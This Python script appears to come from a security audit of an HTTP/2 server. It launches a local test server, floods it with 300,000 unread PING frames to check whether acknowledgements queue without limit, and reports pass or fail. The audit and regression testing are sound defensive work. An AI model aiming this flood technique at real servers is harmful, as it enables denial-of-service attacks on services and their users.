Files
moloapp/audit/MOLO-H2-004/reproduce.py
T

53 lines
1.9 KiB
Python

#!/usr/bin/env python3
# MOLO-H2-004: HTTP/2 PING/SETTINGS flood, unbounded ack queue
# (CVE-2019-9511/9515/9518 "HTTP/2 DoS" family class). See README.md.
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "lib"))
import molo_audit as m
PINGS = 300000 # each ack queued is 17 bytes; capped well under MAX_SEND_BYTES
def main():
m.arm_watchdog()
srv, _tmp = m.start_interop()
port = srv.port
h2 = m.H2(port)
h2.settle(0.2)
# Never read the server's responses: this isolates whether an unread
# peer causes unbounded buffering of queued PING acks server-side,
# rather than measuring our own receive behavior.
sent = m.flood(h2, lambda i: m.frame(m.T_PING, 0, 0, b"01234567"), PINGS, batch=5000)
h2.settle(1.0)
crashed = not srv.alive()
pushed_back = h2.closed or h2.goaway is not None
rss = srv.rss_kb()
h2.close()
srv.stop()
if crashed:
m.verdict_fail("server process died after %d unread PING frames" % sent)
if pushed_back and sent < PINGS:
m.verdict_pass(
"server cut the connection (GOAWAY=%s) after %d/%d unread PINGs instead of "
"queueing an unbounded run of acks, and stayed up (RSS ~%d KiB)"
% (h2.goaway, sent, PINGS, rss)
)
if sent >= PINGS and not pushed_back:
m.verdict_fail(
"all %d PING frames were accepted with no GOAWAY and no limit on queued "
"acks while the client never read a byte back; EnqueueControl "
"(connection.cpp) has no cap on control-frame rate or on out_queued_bytes_ "
"for an unread peer, so a connection can be made to buffer an unbounded "
"amount of PING-ack output (RSS ~%d KiB)" % (sent, rss)
)
m.verdict_fail("ambiguous outcome after %d/%d (crashed=%s, pushed_back=%s)"
% (sent, PINGS, crashed, pushed_back))
if __name__ == "__main__":
main()